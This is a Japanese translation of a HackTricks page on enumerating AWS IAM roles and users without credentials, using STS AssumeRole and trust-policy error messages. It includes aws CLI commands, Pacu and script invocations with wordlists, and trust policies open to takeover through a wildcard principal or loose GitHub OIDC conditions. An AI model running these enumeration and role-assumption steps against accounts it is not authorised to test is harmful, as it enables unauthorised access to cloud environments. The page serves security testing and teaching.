AWS - IAM & STS Unauthenticated Enum

ゼロからヒーローまでAWSハッキングを学ぶ htARTE（HackTricks AWS Red Team Expert）！

HackTricksをサポートする他の方法：

• HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください！

• 公式PEASS＆HackTricksグッズを入手する

• The PEASS Familyを発見し、独占的なNFTsコレクションを見つける

• 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローする。

• ハッキングトリックを共有するには、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。

アカウント内のロールとユーザー名を列挙する

ロールのブルートフォース

このテクニックはもはや機能しません。ロールが存在していても、次のエラーが常に表示されます：

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas

次を実行してテストできます：

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

必要な権限なしでロールを仮定しようとすると、AWSはエラーメッセージを返します。たとえば、権限がない場合、AWSは次のように返すかもしれません：

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

このメッセージは、ロールの存在を確認しますが、その前提ロールポリシーがあなたの前提を許可していません。一方、存在しないロールを前提としようとすると、異なるエラーが発生します:

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

興味深いことに、既存の役割と存在しない役割との区別方法は、異なるAWSアカウント間でも適用可能です。有効なAWSアカウントIDとターゲットワードリストを使用すると、特定の制限に直面せずにアカウント内の役割を列挙できます。

このスクリプトを使用して潜在的なプリンシパルを列挙することで、この問題を悪用できます。

信頼ポリシー：クロスアカウントの役割とユーザーを総当たり攻撃

IAMロールの信頼ポリシーを構成または更新するときは、そのロールを仮想的に引き受けることが許可されるAWSリソースやサービスを定義する必要があります。ポリシー内で指定されたリソースが存在する場合、信頼ポリシーは正常に保存されます。しかし、リソースが存在しない場合、無効なプリンシパルが提供されたことを示すエラーが生成されます。

このリソースでは、クロスアカウントの役割またはユーザーを指定できます:

• arn:aws:iam::acc_id:role/role_name

• arn:aws:iam::acc_id:user/user_name

これはポリシーの例です:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":
{
"AWS":"arn:aws:iam::216825089941:role\/Test"
},
"Action":"sts:AssumeRole"
}
]
}

GUI

これは、存在しないロールを使用すると見つかるエラーです。ロールが存在する場合、ポリシーはエラーなしで保存されます。（エラーは更新時に発生しますが、作成時にも同様に機能します）

CLI

### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

You can automate this process with https://github.com/carlospolop/aws_tools

• bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

Our using Pacu:

• run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

• run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

• The admin role used in the example is a role in your account to by impersonated by pacu to create the policies it needs to create for the enumeration

Privesc

In the case the role was bad configured an allows anyone to assume it:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

サードパーティOIDCフェデレーション

攻撃者はそれを仮定することができます。

Github Actions workflowを読み取ることに成功し、AWS内のroleにアクセスしていると想像してください。 この信頼は、次のtrust policyを持つロールへのアクセスを提供するかもしれません：

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

この信頼ポリシーは正しいかもしれませんが、さらなる条件の不足から疑念を抱くべきです。 これは以前のロールがGithub Actionsの誰でもによって想定される可能性があるためです！組織名、リポジトリ名、環境、ブランチなど、条件に他の情報も指定すべきです。

別の潜在的なミス構成は、次のような条件を追加することです：

"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

注意してください コロン の前の ワイルドカード (*)。org_name1 のような組織を作成し、Github Action から 役割を仮定 することができます。

参考文献

• https://www.youtube.com/watch?v=8ZXRw4Ry3mQ

• https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/

htARTE (HackTricks AWS Red Team Expert) で ゼロからヒーローまでのAWSハッキングを学ぶ！

HackTricks をサポートする他の方法:

• HackTricks で企業を宣伝したい または HackTricks をPDFでダウンロードしたい 場合は SUBSCRIPTION PLANS をチェックしてください！

• 公式PEASS＆HackTricksのグッズを手に入れる

• The PEASS Family を発見し、独占的な NFTs のコレクションを見つける

• 💬 Discord グループ に参加するか、telegram グループ に参加するか、Twitter 🐦 @hacktricks_live をフォローする

• HackTricks と HackTricks Cloud の GitHub リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。